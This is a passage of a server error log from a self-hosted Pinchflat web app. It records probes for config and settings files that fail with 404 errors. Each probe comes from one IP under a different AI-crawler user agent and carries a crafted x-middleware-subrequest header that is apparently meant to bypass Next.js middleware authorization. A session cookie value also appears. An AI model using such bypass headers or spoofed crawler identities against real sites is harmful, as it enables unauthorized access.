%{ pid: #PID<0.29796.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29797.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61iMtysnPvu8ABwah"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29796.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29796.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, met (truncated) 16:49:09.408 [info] GET /config.json 16:49:09.408 [debug] QUERY OK source="settings" db=0.0ms idle=32.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.408 [debug] QUERY OK source="settings" db=0.0ms idle=16.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.408 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.408 [error] #PID<0.29799.0> running PinchflatWeb.Endpoint (connection #PID<0.29798.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34514}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29799.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61iNGh4Hns5kABwbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34514}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34514}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: (truncated) 16:49:09.498 [info] GET /api/settings 16:49:09.499 [debug] QUERY OK source="settings" db=0.1ms idle=106.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.499 [debug] QUERY OK source="settings" db=0.0ms idle=92.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.499 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.499 [error] #PID<0.29801.0> running PinchflatWeb.Endpoint (connection #PID<0.29800.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29801.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61iislZd2EuIABwbh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{ (truncated) 16:49:09.506 [info] GET /api/v1/settings 16:49:09.506 [debug] QUERY OK source="settings" db=0.0ms idle=99.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.506 [debug] QUERY OK source="settings" db=0.0ms idle=98.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.506 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.506 [error] #PID<0.29803.0> running PinchflatWeb.Endpoint (connection #PID<0.29802.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v1/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29802.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34530}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29803.0>, params: %{}, path_info: ["api", "v1", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v1/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ikfqtI0IMEABwcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29802.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34530}, bindings: %{}, sock: {{172, 18, 0, 18}, 